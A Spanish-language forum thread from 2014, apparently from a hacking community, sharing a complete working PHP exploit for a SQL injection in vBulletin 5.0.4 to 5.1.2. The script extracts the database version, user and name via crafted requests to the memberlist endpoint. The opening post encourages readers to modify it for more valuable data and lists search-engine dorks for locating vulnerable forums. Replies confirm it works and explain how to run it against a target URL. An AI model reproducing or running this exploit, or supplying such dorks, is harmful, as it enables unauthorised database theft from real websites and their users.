Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)

  • 5 Respuestas
  • 6545 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Stiuvert

  • *
  • Ex-Staff
  • *****
  • Mensajes: 2661
  • Actividad:
    0%
  • Reputación 15
  • Twitter: @Stiuvert
    • Ver Perfil
You are not allowed to view links. Register or Login

Hace unos días se supo de una You are not allowed to view links. Register or Login, pero como siempre primero me gusta verificar y recién hoy se ha publicado en PacketStorm una versión pública ya que en You are not allowed to view links. Register or Login ya se encontraba pero para acceder a él hay que pagar...



vBulletin es un software
desarrollado por vBulletin Solutions, para la creación y mantenimiento de foros
en Internet. Está basado en PHP y MySQL y según la propia compañía más de
100.000 sitios funcionan bajo este sistema.


Según confirma vBulletin, el
problema afecta a las versiones 5.0.4, 5.0.5, 5.1.0, 5.1.1 y 5.1.2. El grupo
Romanian Security Team (RST) ha publicado un vídeo en el que se muestra la
vulnerabilidad y confirma el reporte a vBulletin, que ofrecerán todos los
detalles tras la publicación del parche.



La vulnerabilidad permite a un usuario malicioso realizar ataques de inyección
SQL
sobre la base de datos, con todas las implicaciones que ello puedo
llevar. Es decir, extraer toda la
información y contenido de la base de datos
, e incluso a partir de ahí
comprometer todo el sistema.



El exploit que se ha publicado nos permite obtener la versión, nombre y usuario de la base de datos, para obtener datos más jugosos debéis modificar el exploit:


You are not allowed to view links. Register or Login

Código: You are not allowed to view links. Register or Login
<?php
 
/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/
 
 
error_reporting(E_ALL);
ini_set('display_errors'1);
 
 
// Get arguments
 
 
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression str_replace('/''\\/'$target_url);
 
 
// Function to send a POST request
 
 
function httpPost($url,$params)
{
    
$ch curl_init($url);
 
 
    
curl_setopt($chCURLOPT_URL,$url);
    
curl_setopt($chCURLOPT_RETURNTRANSFER,true);
    
curl_setopt($chCURLOPT_HEADERfalse);
    
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS$params);
     
    
curl_setopt($chCURLOPT_HTTPHEADER, array(
        
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        
'Accept: application/json, text/javascript, */*; q=0.01',
        
'X-Requested-With: XMLHttpRequest',
        
'Referer: https://rstforums.com/v5/memberlist',
        
'Accept-Language: en-US,en;q=0.5',
        
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
     
));
 
 
    
$output curl_exec($ch);
     
    if(
$output == FALSE) print htmlspecialchars(curl_error($ch));
 
 
    
curl_close($ch);
    return 
$output;
}
 
 
// Function to get string between two other strings
 
 
function get_string_between($string$start$end)
{
    
$string " ".$string;
    
$ini strpos($string,$start);
    if (
$ini == 0) return "";
    
$ini += strlen($start);
    
$len strpos($string,$end,$ini) - $ini;
    return 
substr($string,$ini,$len);
}
 
 
// Get version
 
 
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print 
"Version: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
     
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get user
 
 
print "\r\nUser: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get database
 
 
print "\r\nDatabse: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
print 
"\r\n"
 
 
?>



You are not allowed to view links. Register or Login

Google ya ha bloqueado una posible busqueda del dork necesario para buscar sitios afectados, por ejemplo:

"Powered by vBulletin® Version 5.1.2"
"Powered by vBulletin® Version 5.0.4"
"Powered by vBulletin® Version 5.0.5"
"Powered by vBulletin® Version 5.1.0"
"Powered by vBulletin® Version 5.1.1"

Pero si buscan con You are not allowed to view links. Register or Login encontrarán resultados.

Fuentes:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login



Fuente Original: Blackploit
« Última modificación: Julio 26, 2014, 01:33:58 pm por Snifer »

Desconectado Snifer

  • *
  • Ex-Staff
  • *****
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • [email protected]'s
  • Twitter: sniferl4bs
    • Ver Perfil
    • Snifer@L4bs
Esto lo vi temprano y en un PoC local funciono perfecto!!.

Y la fuente? creo que esto anda en Blackploit?

PD: Solo digo aparte de traductor ahora mal posteador U_u vamos de mal en peor, ahi te corregi ;)

Regards,
Snifer
You are not allowed to view links. Register or Login


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado Stiuvert

  • *
  • Ex-Staff
  • *****
  • Mensajes: 2661
  • Actividad:
    0%
  • Reputación 15
  • Twitter: @Stiuvert
    • Ver Perfil
Estaba la fuente mi compañero Snifer! xD


Desconectado Snifer

  • *
  • Ex-Staff
  • *****
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • [email protected]'s
  • Twitter: sniferl4bs
    • Ver Perfil
    • Snifer@L4bs
Nup, porque al final decia fuentes tal cual el post original, debes de poner lo que corresponde al cesar lo que es del cesar ;)

Regards,
Snifer
You are not allowed to view links. Register or Login


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado josemi

  • *
  • Underc0der
  • Mensajes: 22
  • Actividad:
    0%
  • Reputación 0
  • Ing. Sistemas
    • Ver Perfil
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
« Última modificación: Julio 27, 2014, 03:20:34 am por blackdrake »

Desconectado fermino

  • *
  • Ex-Staff
  • *****
  • Mensajes: 331
  • Actividad:
    0%
  • Reputación 1
  • Aprendiz de todo, maestro de nada...
    • Ver Perfil
    • In The Middle Of Knowledge
You are not allowed to view links. Register or Login
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Nope, descarga la última versión de PHP, y luego ejecuta el script así:
C:\PATH_A_PHP\php.exe nombre_del_script.php url_del_foro
Visita mi blog: You are not allowed to view links. Register or Login.